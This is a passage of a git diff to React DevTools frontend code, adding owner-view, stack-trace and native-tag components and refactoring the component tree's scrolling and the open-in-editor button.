+  'Unique identifier for the corresponding native component. React Native only.';
+
+export default function NativeTagBadge({nativeTag}: Props): React.Node {
+  return (
+    <Tooltip label={title}>
+      <Badge className={styles.Badge}>Tag {nativeTag}</Badge>
+    </Tooltip>
+  );
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/OpenInEditorButton.js b/packages/react-devtools-shared/src/devtools/views/Components/OpenInEditorButton.js
index c63e8319b83f..b739a0602819 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/OpenInEditorButton.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/OpenInEditorButton.js
@@ -4,6 +4,7 @@
  * This source code is licensed under the MIT license found in the
  * LICENSE file in the root directory of this source tree.
  *
+ * @flow
  */
 
 import * as React from 'react';
@@ -11,61 +12,18 @@ import * as React from 'react';
 import Button from 'react-devtools-shared/src/devtools/views/Button';
 import ButtonIcon from 'react-devtools-shared/src/devtools/views/ButtonIcon';
 
-import type {Source} from 'react-devtools-shared/src/shared/types';
+import type {ReactFunctionLocation} from 'shared/ReactTypes';
+import type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';
+
+import {checkConditions} from '../Editor/utils';
 
 type Props = {
   editorURL: string,
-  source: Source,
-  symbolicatedSourcePromise: Promise<Source | null>,
+  source: ReactFunctionLocation,
+  symbolicatedSourcePromise: Promise<SourceMappedLocation | null>,
 };
 
-function checkConditions(
-  editorURL: string,
-  source: Source,
-): {url: URL | null, shouldDisableButton: boolean} {
-  try {
-    const url = new URL(editorURL);
-
-    let sourceURL = source.sourceURL;
-
-    // Check if sourceURL is a correct URL, which has a protocol specified
-    if (sourceURL.includes('://')) {
-      if (!__IS_INTERNAL_VERSION__) {
-        // In this case, we can't really determine the path to a file, disable a button
-        return {url: null, shouldDisableButton: true};
-      } else {
-        const endOfSourceMapURLPattern = '.js/';
-        const endOfSourceMapURLIndex = sourceURL.lastIndexOf(
-          endOfSourceMapURLPattern,
-        );
-
-        if (endOfSourceMapURLIndex === -1) {
-          return {url: null, shouldDisableButton: true};
-        } else {
-          sourceURL = sourceURL.slice(
-            endOfSourceMapURLIndex + endOfSourceMapURLPattern.length,
-            sourceURL.length,
-          );
-        }
-      }
-    }
-
-    const lineNumberAsString = String(source.line);
-
-    url.href = url.href
-      .replace('{path}', sourceURL)
-      .replace('{line}', lineNumberAsString)
-      .replace('%7Bpath%7D', sourceURL)
-      .replace('%7Bline%7D', lineNumberAsString);
-
-    return {url, shouldDisableButton: false};
-  } catch (e) {
-    // User has provided incorrect editor url
-    return {url: null, shouldDisableButton: true};
-  }
-}
-
-function OpenInEditorButton({
+function OpenSymbolicatedSourceInEditorButton({
   editorURL,
   source,
   symbolicatedSourcePromise,
@@ -74,7 +32,7 @@ function OpenInEditorButton({
 
   const {url, shouldDisableButton} = checkConditions(
     editorURL,
-    symbolicatedSource ? symbolicatedSource : source,
+    symbolicatedSource ? symbolicatedSource.location : source,
   );
 
   return (
@@ -87,4 +45,17 @@ function OpenInEditorButton({
   );
 }
 
+function OpenInEditorButton(props: Props): React.Node {
+  return (
+    <React.Suspense
+      fallback={
+        <Button disabled={true} title="retrieving original source…">
+          <ButtonIcon type="editor" />
+        </Button>
+      }>
+      <OpenSymbolicatedSourceInEditorButton {...props} />
+    </React.Suspense>
+  );
+}
+
 export default OpenInEditorButton;
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/OwnerView.css b/packages/react-devtools-shared/src/devtools/views/Components/OwnerView.css
new file mode 100644
index 000000000000..985fe4b9fb5d
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Components/OwnerView.css
@@ -0,0 +1,42 @@
+.Owner {
+  color: var(--color-component-name);
+  font-family: var(--font-family-monospace);
+  font-size: var(--font-size-monospace-normal);
+  font-weight: bold;
+  white-space: nowrap;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  max-width: 100%;
+  border-radius: 0.25rem;
+  padding: 0.125rem 0.25rem;
+  background: none;
+  border: none;
+  display: block;
+}
+.Owner:focus {
+  outline: none;
+  background-color: var(--color-button-background-focus);
+}
+
+.OwnerButton {
+  cursor: pointer;
+  width: 100%;
+  padding: 0;
+}
+
+.OwnerContent {
+  display: flex;
+  align-items: center;
+  padding-left: 1rem;
+  width: 100%;
+  border-radius: 0.25rem;
+}
+
+.OwnerContent:hover {
+  background-color: var(--color-background-hover);
+}
+
+.NotInStore {
+  color: var(--color-dim);
+  cursor: default;
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/OwnerView.js b/packages/react-devtools-shared/src/devtools/views/Components/OwnerView.js
new file mode 100644
index 000000000000..2b0f4b035a26
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Components/OwnerView.js
@@ -0,0 +1,76 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+import {useCallback, useContext} from 'react';
+import {TreeDispatcherContext} from './TreeContext';
+import Button from '../Button';
+import ElementBadges from './ElementBadges';
+import {useHighlightHostInstance} from '../hooks';
+import {logEvent} from 'react-devtools-shared/src/Logger';
+
+import styles from './OwnerView.css';
+
+type OwnerViewProps = {
+  displayName: string,
+  hocDisplayNames: Array<string> | null,
+  environmentName: string | null,
+  compiledWithForget: boolean,
+  id: number,
+  isInStore: boolean,
+};
+
+export default function OwnerView({
+  displayName,
+  environmentName,
+  hocDisplayNames,
+  compiledWithForget,
+  id,
+  isInStore,
+}: OwnerViewProps): React.Node {
+  const dispatch = useContext(TreeDispatcherContext);
+  const {highlightHostInstance, clearHighlightHostInstance} =
+    useHighlightHostInstance();
+
+  const handleClick = useCallback(() => {
+    logEvent({
+      event_name: 'select-element',
+      metadata: {source: 'owner-view'},
+    });
+    dispatch({
+      type: 'SELECT_ELEMENT_BY_ID',
+      payload: id,
+    });
+  }, [dispatch, id]);
+
+  return (
+    <Button
+      key={id}
+      className={styles.OwnerButton}
+      disabled={!isInStore}
+      onClick={handleClick}
+      onMouseEnter={() => highlightHostInstance(id)}
+      onMouseLeave={clearHighlightHostInstance}>
+      <span className={styles.OwnerContent}>
+        <span
+          className={`${styles.Owner} ${isInStore ? '' : styles.NotInStore}`}
+          title={displayName}
+          data-testname="OwnerView">
+          {'<' + displayName + '>'}
+        </span>
+
+        <ElementBadges
+          hocDisplayNames={hocDisplayNames}
+          compiledWithForget={compiledWithForget}
+          environmentName={environmentName}
+        />
+      </span>
+    </Button>
+  );
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/OwnersListContext.js b/packages/react-devtools-shared/src/devtools/views/Components/OwnersListContext.js
index f88bc7e9724b..060a5711626e 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/OwnersListContext.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/OwnersListContext.js
@@ -13,7 +13,7 @@ import * as React from 'react';
 import {createContext, useCallback, useContext, useEffect} from 'react';
 import {createResource} from '../../cache';
 import {BridgeContext, StoreContext} from '../context';
-import {TreeStateContext} from './TreeContext';
+import {TreeDispatcherContext, TreeStateContext} from './TreeContext';
 import {backendToFrontendSerializedElementMapper} from 'react-devtools-shared/src/utils';
 
 import type {OwnersList} from 'react-devtools-shared/src/backend/types';
@@ -70,6 +70,43 @@ type Props = {
   children: React$Node,
 };
 
+function useChangeOwnerAction(): (nextOwnerID: number) => void {
+  const bridge = useContext(BridgeContext);
+  const store = useContext(StoreContext);
+  const treeAction = useContext(TreeDispatcherContext);
+
+  return useCallback(
+    function changeOwnerAction(nextOwnerID: number) {
+      treeAction({type: 'SELECT_OWNER', payload: nextOwnerID});
+
+      const element = store.getElementByID(nextOwnerID);
+      if (element !== null) {
+        if (!inProgressRequests.has(element)) {
+          let resolveFn:
+            | ResolveFn
+            | ((
+                result:
+                  | Promise<Array<SerializedElement>>
+                  | Array<SerializedElement>,
+              ) => void) = ((null: any): ResolveFn);
+          const promise = new Promise(resolve => {
+            resolveFn = resolve;
+          });
+
+          // $FlowFixMe[incompatible-call] found when upgrading Flow
+          inProgressRequests.set(element, {promise, resolveFn});
+        }
+
+        const rendererID = store.getRendererIDForElement(nextOwnerID);
+        if (rendererID !== null) {
+          bridge.send('getOwnersList', {id: nextOwnerID, rendererID});
+        }
+      }
+    },
+    [bridge, store],
+  );
+}
+
 function OwnersListContextController({children}: Props): React.Node {
   const bridge = useContext(BridgeContext);
   const store = useContext(StoreContext);
@@ -95,8 +132,6 @@ function OwnersListContextController({children}: Props): React.Node {
       if (element !== null) {
         const request = inProgressRequests.get(element);
         if (request != null) {
-          inProgressRequests.delete(element);
-
           request.resolveFn(
             ownersList.owners === null
               ? null
@@ -129,4 +164,4 @@ function OwnersListContextController({children}: Props): React.Node {
   );
 }
 
-export {OwnersListContext, OwnersListContextController};
+export {OwnersListContext, OwnersListContextController, useChangeOwnerAction};
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/OwnersStack.css b/packages/react-devtools-shared/src/devtools/views/Components/OwnersStack.css
index 293faa98376a..25a84d8a32a1 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/OwnersStack.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/OwnersStack.css
@@ -32,6 +32,15 @@
   overflow-x: auto;
 }
 
+.OwnerStackFlatListContainer {
+  display: inline-flex;
+  align-items: baseline;
+}
+
+.OwnerStackFlatListSeparator {
+  user-select: none;
+}
+
 .VRule {
   flex: 0 0 auto;
   height: 20px;
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/OwnersStack.js b/packages/react-devtools-shared/src/devtools/views/Components/OwnersStack.js
index 0486b55c69db..596113bd8631 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/OwnersStack.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/OwnersStack.js
@@ -20,7 +20,7 @@ import Button from '../Button';
 import ButtonIcon from '../ButtonIcon';
 import Toggle from '../Toggle';
 import ElementBadges from './ElementBadges';
-import {OwnersListContext} from './OwnersListContext';
+import {OwnersListContext, useChangeOwnerAction} from './OwnersListContext';
 import {TreeDispatcherContext, TreeStateContext} from './TreeContext';
 import {useIsOverflowing} from '../hooks';
 import {StoreContext} from '../context';
@@ -77,10 +77,59 @@ function dialogReducer(state: State, action: Action) {
   }
 }
 
+type OwnerStackFlatListProps = {
+  owners: Array<SerializedElement>,
+  selectedIndex: number,
+  selectOwner: SelectOwner,
+  setElementsTotalWidth: (width: number) => void,
+};
+
+function OwnerStackFlatList({
+  owners,
+  selectedIndex,
+  selectOwner,
+  setElementsTotalWidth,
+}: OwnerStackFlatListProps): React.Node {
+  const containerRef = useRef<HTMLDivElement | null>(null);
+  useLayoutEffect(() => {
+    const container = containerRef.current;
+    if (container === null) {
+      return;
+    }
+
+    const ResizeObserver = container.ownerDocument.defaultView.ResizeObserver;
+    const observer = new ResizeObserver(entries => {
+      const entry = entries[0];
+      setElementsTotalWidth(entry.contentRect.width);
+    });
+
+    observer.observe(container);
+    return observer.disconnect.bind(observer);
+  }, []);
+
+  return (
+    <div className={styles.OwnerStackFlatListContainer} ref={containerRef}>
+      {owners.map((owner, index) => (
+        <Fragment key={index}>
+          <ElementView
+            owner={owner}
+            isSelected={index === selectedIndex}
+            selectOwner={selectOwner}
+          />
+          {index < owners.length - 1 && (
+            <span className={styles.OwnerStackFlatListSeparator}>»</span>
+          )}
+        </Fragment>
+      ))}
+    </div>
+  );
+}
+
 export default function OwnerStack(): React.Node {
   const read = useContext(OwnersListContext);
   const {ownerID} = useContext(TreeStateContext);
   const treeDispatch = useContext(TreeDispatcherContext);
+  const changeOwnerAction = useChangeOwnerAction();
 
   const [state, dispatch] = useReducer<State, State, Action>(dialogReducer, {
     ownerID: null,
@@ -116,7 +165,7 @@ export default function OwnerStack(): React.Node {
           type: 'UPDATE_SELECTED_INDEX',
           selectedIndex: index >= 0 ? index : 0,
         });
-        treeDispatch({type: 'SELECT_OWNER', payload: owner.id});
+        changeOwnerAction(owner.id);
       } else {
         dispatch({
           type: 'UPDATE_SELECTED_INDEX',
@@ -134,32 +183,10 @@ export default function OwnerStack(): React.Node {
 
   const selectedOwner = owners[selectedIndex];
 
-  useLayoutEffect(() => {
-    // If we're already overflowing, then we don't need to re-measure items.
-    // That's because once the owners stack is open, it can only get larger (by drilling in).
-    // A totally new stack can only be reached by exiting this mode and re-entering it.
-    if (elementsBarRef.current === null || isOverflowing) {
-      return () => {};
-    }
-
-    let totalWidth = 0;
-    for (let i = 0; i < owners.length; i++) {
-      const element = elementsBarRef.current.children[i];
-      const computedStyle = getComputedStyle(element);
-
-      totalWidth +=
-        element.offsetWidth +
-        parseInt(computedStyle.marginLeft, 10) +
-        parseInt(computedStyle.marginRight, 10);
-    }
-
-    setElementsTotalWidth(totalWidth);
-  }, [elementsBarRef, isOverflowing, owners.length]);
-
   return (
     <div className={styles.OwnerStack}>
       <div className={styles.Bar} ref={elementsBarRef}>
-        {isOverflowing && (
+        {isOverflowing ? (
           <Fragment>
             <ElementsDropdown
               owners={owners}
@@ -179,16 +206,14 @@ export default function OwnerStack(): React.Node {
               />
             )}
           </Fragment>
+        ) : (
+          <OwnerStackFlatList
+            owners={owners}
+            selectedIndex={selectedIndex}
+            selectOwner={selectOwner}
+            setElementsTotalWidth={setElementsTotalWidth}
+          />
         )}
-        {!isOverflowing &&
-          owners.map((owner, index) => (
-            <ElementView
-              key={index}
-              owner={owner}
-              isSelected={index === selectedIndex}
-              selectOwner={selectOwner}
-            />
-          ))}
       </div>
       <div className={styles.VRule} />
       <Button onClick={() => selectOwner(null)} title="Back to tree view">
@@ -219,6 +244,7 @@ function ElementsDropdown({owners, selectOwner}: ElementsDropdownProps) {
 
         <ElementBadges
           hocDisplayNames={owner.hocDisplayNames}
+          environmentName={owner.env}
           compiledWithForget={owner.compiledWithForget}
           className={styles.BadgesBlock}
         />
@@ -267,6 +293,7 @@ function ElementView({isSelected, owner, selectOwner}: ElementViewProps) {
 
       <ElementBadges
         hocDisplayNames={hocDisplayNames}
+        environmentName={owner.env}
         compiledWithForget={compiledWithForget}
         className={styles.BadgesBlock}
       />
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/SelectedTreeHighlight.css b/packages/react-devtools-shared/src/devtools/views/Components/SelectedTreeHighlight.css
deleted file mode 100644
index 19b64a8ef470..000000000000
--- a/packages/react-devtools-shared/src/devtools/views/Components/SelectedTreeHighlight.css
+++ /dev/null
@@ -1,16 +0,0 @@
-.Active,
-.Inactive {
-  position: absolute;
-  left: 0;
-  width: 100%;
-  z-index: 0;
-  pointer-events: none;
-}
-
-.Active {
-  background-color: var(--color-selected-tree-highlight-active);
-}
-
-.Inactive {
-  background-color: var(--color-selected-tree-highlight-inactive);
-}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/SelectedTreeHighlight.js b/packages/react-devtools-shared/src/devtools/views/Components/SelectedTreeHighlight.js
deleted file mode 100644
index 44183f657523..000000000000
--- a/packages/react-devtools-shared/src/devtools/views/Components/SelectedTreeHighlight.js
+++ /dev/null
@@ -1,110 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {Element} from 'react-devtools-shared/src/frontend/types';
-
-import * as React from 'react';
-import {useContext, useMemo} from 'react';
-import {TreeStateContext} from './TreeContext';
-import {SettingsContext} from '../Settings/SettingsContext';
-import TreeFocusedContext from './TreeFocusedContext';
-import {StoreContext} from '../context';
-import {useSubscription} from '../hooks';
-
-import styles from './SelectedTreeHighlight.css';
-
-type Data = {
-  startIndex: number,
-  stopIndex: number,
-};
-
-export default function SelectedTreeHighlight(_: {}): React.Node {
-  const {lineHeight} = useContext(SettingsContext);
-  const store = useContext(StoreContext);
-  const treeFocused = useContext(TreeFocusedContext);
-  const {ownerID, selectedElementID} = useContext(TreeStateContext);
-
-  const subscription = useMemo(
-    () => ({
-      getCurrentValue: () => {
-        if (
-          selectedElementID === null ||
-          store.isInsideCollapsedSubTree(selectedElementID)
-        ) {
-          return null;
-        }
-
-        const element = store.getElementByID(selectedElementID);
-        if (
-          element === null ||
-          element.isCollapsed ||
-          element.children.length === 0
-        ) {
-          return null;
-        }
-
-        const startIndex = store.getIndexOfElementID(element.children[0]);
-        if (startIndex === null) {
-          return null;
-        }
-
-        let stopIndex = null;
-        let current: null | Element = element;
-        while (current !== null) {
-          if (current.isCollapsed || current.children.length === 0) {
-            // We've found the last/deepest descendant.
-            stopIndex = store.getIndexOfElementID(current.id);
-            current = null;
-          } else {
-            const lastChildID = current.children[current.children.length - 1];
-            current = store.getElementByID(lastChildID);
-          }
-        }
-
-        if (stopIndex === null) {
-          return null;
-        }
-
-        return {
-          startIndex,
-          stopIndex,
-        };
-      },
-      subscribe: (callback: Function) => {
-        store.addListener('mutated', callback);
-        return () => {
-          store.removeListener('mutated', callback);
-        };
-      },
-    }),
-    [selectedElementID, store],
-  );
-  const data = useSubscription<Data | null>(subscription);
-
-  if (ownerID !== null) {
-    return null;
-  }
-
-  if (data === null) {
-    return null;
-  }
-
-  const {startIndex, stopIndex} = data;
-
-  return (
-    <div
-      className={treeFocused ? styles.Active : styles.Inactive}
-      style={{
-        position: 'absolute',
-        top: `${startIndex * lineHeight}px`,
-        height: `${(stopIndex + 1 - startIndex) * lineHeight}px`,
-      }}
-    />
-  );
-}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/Skeleton.css b/packages/react-devtools-shared/src/devtools/views/Components/Skeleton.css
index 70dcbe0c19ae..e2bf67072955 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/Skeleton.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/Skeleton.css
@@ -5,9 +5,9 @@
 
 @keyframes pulse {
   0%, 100% {
-    background-color: var(--color-dim);
+    background-color: none;
   }
   50% {
-    background-color: var(--color-dimmest)
+    background-color: var(--color-dimmest);
   }
 }
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/StackTraceView.css b/packages/react-devtools-shared/src/devtools/views/Components/StackTraceView.css
new file mode 100644
index 000000000000..98200ee9dfd3
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Components/StackTraceView.css
@@ -0,0 +1,35 @@
+.StackTraceView {
+  padding: 0.25rem;
+}
+
+.CallSite, .BuiltInCallSite {
+  display: flex;
+  padding-left: 1rem;
+  white-space-collapse: preserve;
+}
+
+.IgnoredCallSite, .BuiltInCallSite {
+  display: none;
+}
+
+.CallSite + .BuiltInCallSite {
+  display: block;
+}
+
+.Link {
+  color: var(--color-link);
+  white-space: pre;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  cursor: pointer;
+  border-radius: 0.125rem;
+}
+
+.Link:hover {
+  background-color: var(--color-background-hover);
+}
+
+.ElementBadges {
+  margin-left: 0.25rem;
+}
+
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/StackTraceView.js b/packages/react-devtools-shared/src/devtools/views/Components/StackTraceView.js
new file mode 100644
index 000000000000..a3cf91f14b77
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Components/StackTraceView.js
@@ -0,0 +1,122 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+import {use, useContext} from 'react';
+
+import useOpenResource from '../useOpenResource';
+
+import ElementBadges from './ElementBadges';
+
+import styles from './StackTraceView.css';
+
+import type {ReactStackTrace, ReactCallSite} from 'shared/ReactTypes';
+
+import type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';
+
+import FetchFileWithCachingContext from './FetchFileWithCachingContext';
+
+import {symbolicateSourceWithCache} from 'react-devtools-shared/src/symbolicateSource';
+
+import formatLocationForDisplay from './formatLocationForDisplay';
+
+type CallSiteViewProps = {
+  callSite: ReactCallSite,
+  environmentName: null | string,
+};
+
+export function CallSiteView({
+  callSite,
+  environmentName,
+}: CallSiteViewProps): React.Node {
+  const fetchFileWithCaching = useContext(FetchFileWithCachingContext);
+
+  const [virtualFunctionName, virtualURL, virtualLine, virtualColumn] =
+    callSite;
+
+  const symbolicatedCallSite: null | SourceMappedLocation =
+    fetchFileWithCaching !== null
+      ? use(
+          symbolicateSourceWithCache(
+            fetchFileWithCaching,
+            virtualURL,
+            virtualLine,
+            virtualColumn,
+          ),
+        )
+      : null;
+
+  const [linkIsEnabled, viewSource] = useOpenResource(
+    callSite,
+    symbolicatedCallSite == null ? null : symbolicatedCallSite.location,
+  );
+  const [functionName, url, line, column] =
+    symbolicatedCallSite !== null ? symbolicatedCallSite.location : callSite;
+  const ignored =
+    symbolicatedCallSite !== null ? symbolicatedCallSite.ignored : false;
+  // TODO: Make an option to be able to toggle the display of ignore listed rows.
+  // Ideally this UI should be higher than a single Stack Trace so that there's not
+  // multiple buttons in a single inspection taking up space.
+
+  const isBuiltIn = url === '' || url.startsWith('<anonymous>'); // This looks like a fake anonymous through eval.
+  return (
+    <div
+      className={
+        ignored
+          ? styles.IgnoredCallSite
+          : isBuiltIn
+            ? styles.BuiltInCallSite
+            : styles.CallSite
+      }>
+      {functionName || virtualFunctionName}
+      {!isBuiltIn && (
+        <>
+          {' @ '}
+          <span
+            className={linkIsEnabled ? styles.Link : null}
+            onClick={viewSource}
+            title={url + ':' + line}>
+            {formatLocationForDisplay(url, line, column)}
+          </span>
+        </>
+      )}
+      <ElementBadges
+        className={styles.ElementBadges}
+        environmentName={environmentName}
+      />
+    </div>
+  );
+}
+
+type Props = {
+  stack: ReactStackTrace,
+  environmentName: null | string,
+};
+
+export default function StackTraceView({
+  stack,
+  environmentName,
+}: Props): React.Node {
+  return (
+    <div className={styles.StackTraceView}>
+      {stack.map((callSite, index) => (
+        <CallSiteView
+          key={index}
+          callSite={callSite}
+          environmentName={
+            // Badge last row
+            // TODO: If we start ignore listing the last row, we should badge the last
+            // non-ignored row.
+            index === stack.length - 1 ? environmentName : null
+          }
+        />
+      ))}
+    </div>
+  );
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/Tree.css b/packages/react-devtools-shared/src/devtools/views/Components/Tree.css
index bf18f1d2e601..cb2799d4a9c3 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/Tree.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/Tree.css
@@ -5,17 +5,16 @@
   display: flex;
   flex-direction: column;
   border-top: 1px solid var(--color-border);
-
-  /* Default size will be adjusted by Tree after scrolling */
-  --indentation-size: 12px;
 }
 
-.List {
-  overflow-x: hidden !important;
+.InnerElementType {
+  position: relative;
 }
 
-.InnerElementType {
-  overflow-x: hidden;
+.VerticalDelimiter {
+  position: absolute;
+  width: 0.025rem;
+  background: #b0b0b0;
 }
 
 .SearchInput {
@@ -39,6 +38,7 @@
   font-family: var(--font-family-monospace);
   font-size: var(--font-size-monospace-normal);
   line-height: var(--line-height-data);
+  user-select: none;
 }
 
 .VRule {
@@ -97,4 +97,4 @@
 
 .Link {
   color: var(--color-button-active);
-}
\ No newline at end of file
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/Tree.js b/packages/react-devtools-shared/src/devtools/views/Components/Tree.js
index ccc61f1c1d0a..5623d507a3b7 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/Tree.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/Tree.js
@@ -11,6 +11,7 @@ import * as React from 'react';
 import {
   Fragment,
   Suspense,
+  startTransition,
   useCallback,
   useContext,
   useEffect,
@@ -24,81 +25,176 @@ import {TreeDispatcherContext, TreeStateContext} from './TreeContext';
 import Icon from '../Icon';
 import {SettingsContext} from '../Settings/SettingsContext';
 import {BridgeContext, StoreContext, OptionsContext} from '../context';
-import Element from './Element';
+import ComponentsTreeElement from './Element';
 import InspectHostNodesToggle from './InspectHostNodesToggle';
 import OwnersStack from './OwnersStack';
 import ComponentSearchInput from './ComponentSearchInput';
 import SettingsModalContextToggle from 'react-devtools-shared/src/devtools/views/Settings/SettingsModalContextToggle';
-import SelectedTreeHighlight from './SelectedTreeHighlight';
 import TreeFocusedContext from './TreeFocusedContext';
-import {useHighlightNativeElement, useSubscription} from '../hooks';
+import {useHighlightHostInstance, useSubscription} from '../hooks';
 import {clearErrorsAndWarnings as clearErrorsAndWarningsAPI} from 'react-devtools-shared/src/backendAPI';
 import styles from './Tree.css';
 import ButtonIcon from '../ButtonIcon';
 import Button from '../Button';
 import {logEvent} from 'react-devtools-shared/src/Logger';
+import {useExtensionComponentsPanelVisibility} from 'react-devtools-shared/src/frontend/hooks/useExtensionComponentsPanelVisibility';
+import {ElementTypeActivity} from 'react-devtools-shared/src/frontend/types';
+import {useChangeOwnerAction} from './OwnersListContext';
+import {useChangeActivitySliceAction} from '../SuspenseTab/ActivityList';
+import ActivitySlice from './ActivitySlice';
 
-// Never indent more than this number of pixels (even if we have the room).
-const DEFAULT_INDENTATION_SIZE = 12;
+// Indent for each node at level N, compared to node at level N - 1.
+const INDENTATION_SIZE = 10;
+
+function calculateElementOffset(elementDepth: number): number {
+  return elementDepth * INDENTATION_SIZE;
+}
 
 export type ItemData = {
-  numElements: number,
   isNavigatingWithKeyboard: boolean,
-  lastScrolledIDRef: {current: number | null, ...},
   onElementMouseEnter: (id: number) => void,
   treeFocused: boolean,
+  calculateElementOffset: (depth: number) => number,
 };
 
-type Props = {};
+function calculateInitialScrollOffset(
+  inspectedElementIndex: number | null,
+  elementHeight: number,
+): number | void {
+  if (inspectedElementIndex === null) {
+    return undefined;
+  }
+
+  if (inspectedElementIndex < 3) {
+    return undefined;
+  }
+
+  // Make 3 elements on top of the inspected one visible
+  return (inspectedElementIndex - 3) * elementHeight;
+}
 
-export default function Tree(props: Props): React.Node {
+export default function Tree(): React.Node {
   const dispatch = useContext(TreeDispatcherContext);
   const {
+    activityID,
     numElements,
     ownerID,
     searchIndex,
     searchResults,
-    selectedElementID,
-    selectedElementIndex,
+    inspectedElementID,
+    inspectedElementIndex,
   } = useContext(TreeStateContext);
   const bridge = useContext(BridgeContext);
   const store = useContext(StoreContext);
   const {hideSettings} = useContext(OptionsContext);
+  const {lineHeight} = useContext(SettingsContext);
+
   const [isNavigatingWithKeyboard, setIsNavigatingWithKeyboard] =
     useState(false);
-  const {highlightNativeElement, clearHighlightNativeElement} =
-    useHighlightNativeElement();
+  const {highlightHostInstance, clearHighlightHostInstance} =
+    useHighlightHostInstance();
+  const [treeFocused, setTreeFocused] = useState<boolean>(false);
+  const componentsPanelVisible = useExtensionComponentsPanelVisibility(bridge);
+
   const treeRef = useRef<HTMLDivElement | null>(null);
   const focusTargetRef = useRef<HTMLDivElement | null>(null);
+  const listDOMElementRef = useRef<Element | null>(null);
+  const setListDOMElementRef = useCallback((listDOMElement: Element) => {
+    listDOMElementRef.current = listDOMElement;
 
-  const [treeFocused, setTreeFocused] = useState<boolean>(false);
+    // Controls the initial horizontal offset of the Tree if the element was pre-selected. For example, via Elements panel in browser DevTools.
+    // Initial vertical offset is controlled via initialScrollOffset prop of the FixedSizeList component.
+    if (
+      !componentsPanelVisible ||
+      inspectedElementIndex == null ||
+      listDOMElement == null
+    ) {
+      return;
+    }
 
-  const {lineHeight, showInlineWarningsAndErrors} = useContext(SettingsContext);
-
-  // Make sure a newly selected element is visible in the list.
-  // This is helpful for things like the owners list and search.
-  //
-  // TRICKY:
-  // It's important to use a callback ref for this, rather than a ref object and an effect.
-  // As an optimization, the AutoSizer component does not render children when their size would be 0.
-  // This means that in some cases (if the browser panel size is initially really small),
-  // the Tree component might render without rendering an inner List.
-  // In this case, the list ref would be null on mount (when the scroll effect runs),
-  // meaning the scroll action would be skipped (since ref updates don't re-run effects).
-  // Using a callback ref accounts for this case...
-  const listCallbackRef = useCallback(
-    (list: $FlowFixMe) => {
-      if (list != null && selectedElementIndex !== null) {
-        list.scrollToItem(selectedElementIndex, 'smart');
-      }
-    },
-    [selectedElementIndex],
-  );
+    const element = store.getElementAtIndex(inspectedElementIndex);
+    if (element == null) {
+      return;
+    }
+
+    const viewportLeft = listDOMElement.scrollLeft;
+    const viewportRight = viewportLeft + listDOMElement.clientWidth;
+    const elementLeft = calculateElementOffset(element.depth);
+    // Because of virtualization, this element might not be rendered yet; we can't look up its width.
+    // Assuming that it may take up to the half of the viewport.
+    const elementRight = elementLeft + listDOMElement.clientWidth / 2;
+
+    const isElementFullyVisible =
+      elementLeft >= viewportLeft && elementRight <= viewportRight;
+
+    if (!isElementFullyVisible) {
+      const horizontalDelta =
+        Math.min(0, elementLeft - viewportLeft) +
+        Math.max(0, elementRight - viewportRight);
+
+      // $FlowExpectedError[incompatible-call] Flow doesn't support instant as an option for behavior.
+      listDOMElement.scrollBy({
+        left: horizontalDelta,
+        behavior: 'instant',
+      });
+    }
+  }, []);
+
+  useEffect(() => {
+    if (!componentsPanelVisible || inspectedElementIndex == null) {
+      return;
+    }
+
+    const listDOMElement = listDOMElementRef.current;
+    if (listDOMElement == null) {
+      return;
+    }
+
+    const viewportHeight = listDOMElement.clientHeight;
+    const viewportLeft = listDOMElement.scrollLeft;
+    const viewportRight = viewportLeft + listDOMElement.clientWidth;
+    const viewportTop = listDOMElement.scrollTop;
+    const viewportBottom = viewportTop + viewportHeight;
+
+    const element = store.getElementAtIndex(inspectedElementIndex);
+    if (element == null) {
+      return;
+    }
+    const elementLeft = calculateElementOffset(element.depth);
+    // Because of virtualization, this element might not be rendered yet; we can't look up its width.
+    // Assuming that it may take up to the half of the viewport.
+    const elementRight = elementLeft + listDOMElement.clientWidth / 2;
+    const elementTop = inspectedElementIndex * lineHeight;
+    const elementBottom = elementTop + lineHeight;
+
+    const isElementFullyVisible =
